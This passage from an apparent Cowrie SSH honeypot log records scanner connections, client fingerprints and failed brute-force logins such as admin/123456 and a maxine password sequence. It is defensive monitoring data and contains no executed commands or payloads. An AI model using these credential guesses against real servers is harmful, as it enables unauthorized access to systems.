{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:38:44.958662Z","src_ip":"2.57.122.210","session":"79eabae28ae6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.125","src_port":40256,"dst_ip":"10.17.0.5","dst_port":22,"session":"315fd58a0832","protocol":"ssh","message":"New connection: 101.36.108.125:40256 (10.17.0.5:22) [session: 315fd58a0832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:39:57.737049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:39:57.741285Z","src_ip":"101.36.108.125","session":"315fd58a0832","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:39:57.955033Z","src_ip":"101.36.108.125","session":"315fd58a0832","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kanban","password":"12345","message":"login attempt [kanban/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:39:58.843179Z","src_ip":"101.36.108.125","session":"315fd58a0832","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:40:00.060084Z","src_ip":"101.36.108.125","session":"315fd58a0832","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.1.60.230","src_port":52070,"dst_ip":"10.17.0.5","dst_port":22,"session":"b72072e0688a","protocol":"ssh","message":"New connection: 166.1.60.230:52070 (10.17.0.5:22) [session: b72072e0688a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:40:24.603762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:40:24.607986Z","src_ip":"166.1.60.230","session":"b72072e0688a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:40:24.613122Z","src_ip":"166.1.60.230","session":"b72072e0688a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lcx","password":"1234","message":"login attempt [lcx/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:40:24.667115Z","src_ip":"166.1.60.230","session":"b72072e0688a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:40:25.674022Z","src_ip":"166.1.60.230","session":"b72072e0688a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":49024,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd0ac46fd498","protocol":"ssh","message":"New connection: 2.57.122.210:49024 (159.203.135.109:22) [session: cd0ac46fd498]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:40:56.140860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:40:56.145222Z","src_ip":"2.57.122.210","session":"cd0ac46fd498","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:40:56.244802Z","src_ip":"2.57.122.210","session":"cd0ac46fd498","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testing123","password":"testing123","message":"login attempt [testing123/testing123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:40:56.577735Z","src_ip":"2.57.122.210","session":"cd0ac46fd498","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:40:57.679427Z","src_ip":"2.57.122.210","session":"cd0ac46fd498","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.44.181","src_port":50980,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1dab8d9b80b","protocol":"ssh","message":"New connection: 27.79.44.181:50980 (10.17.0.5:22) [session: d1dab8d9b80b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:41:05.669320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:41:05.679474Z","src_ip":"27.79.44.181","session":"d1dab8d9b80b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:41:05.964663Z","src_ip":"27.79.44.181","session":"d1dab8d9b80b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456","message":"login attempt [admin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:41:07.430029Z","src_ip":"27.79.44.181","session":"d1dab8d9b80b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:41:09.353734Z","src_ip":"27.79.44.181","session":"d1dab8d9b80b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.125","src_port":46408,"dst_ip":"10.17.0.5","dst_port":22,"session":"d806692a7f49","protocol":"ssh","message":"New connection: 101.36.108.125:46408 (10.17.0.5:22) [session: d806692a7f49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:41:47.879423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:41:47.883771Z","src_ip":"101.36.108.125","session":"d806692a7f49","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:41:48.104910Z","src_ip":"101.36.108.125","session":"d806692a7f49","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gbase","password":"gbase","message":"login attempt [gbase/gbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:41:49.021724Z","src_ip":"101.36.108.125","session":"d806692a7f49","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:41:50.244199Z","src_ip":"101.36.108.125","session":"d806692a7f49","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":43385,"dst_ip":"10.17.0.5","dst_port":22,"session":"1143f7c534c0","protocol":"ssh","message":"New connection: 213.209.159.159:43385 (10.17.0.5:22) [session: 1143f7c534c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:41:57.637772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:41:58.191250Z","src_ip":"213.209.159.159","session":"1143f7c534c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:41:58.269770Z","src_ip":"213.209.159.159","session":"1143f7c534c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maxine","password":"maxine","message":"login attempt [maxine/maxine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:41:58.670922Z","src_ip":"213.209.159.159","session":"1143f7c534c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maxine","password":"maxine1","message":"login attempt [maxine/maxine1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:41:59.755477Z","src_ip":"213.209.159.159","session":"1143f7c534c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maxine","password":"maxine123","message":"login attempt [maxine/maxine123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:42:00.840476Z","src_ip":"213.209.159.159","session":"1143f7c534c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maxine","password":"maxine1234","message":"login attempt [maxine/maxine1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:42:01.924845Z","src_ip":"213.209.159.159","session":"1143f7c534c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maxine","password":"maxine12345","message":"login attempt [maxine/maxine12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:42:03.009009Z","src_ip":"213.209.159.159","session":"1143f7c534c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:42:04.093757Z","src_ip":"213.209.159.159","session":"1143f7c534c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.83.27.140","src_port":46502,"dst_ip":"159.203.135.109","dst_port":22,"session":"882c998a6494","protocol":"ssh","message":"New connection: 20.83.27.140:46502 (159.203.135.109:22) [session: 882c998a6494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:42:09.026375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:42:09.030715Z","src_ip":"20.83.27.140","session":"882c998a6494","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:42:09.066174Z","src_ip":"20.83.27.140","session":"882c998a6494","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.83.27.140","src_port":46508,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb2735366d78","protocol":"ssh","message":"New connection: 20.83.27.140:46508 (159.203.135.109:22) [session: fb2735366d78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:42:09.143452Z"}
{"eventid":"cowrie.client.version","version":"MGLNDD_159.203.135.109_22","message":"Remote SSH version: MGLNDD_159.203.135.109_22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:42:09.148181Z","src_ip":"20.83.27.140","session":"fb2735366d78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:42:09.151568Z","src_ip":"20.83.27.140","session":"fb2735366d78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.17","src_port":49068,"dst_ip":"159.203.135.109","dst_port":22,"session":"09eabcb92f20","protocol":"ssh","message":"New connection: 77.90.185.17:49068 (159.203.135.109:22) [session: 09eabcb92f20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:42:12.843174Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:42:12.848107Z","src_ip":"77.90.185.17","session":"09eabcb92f20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh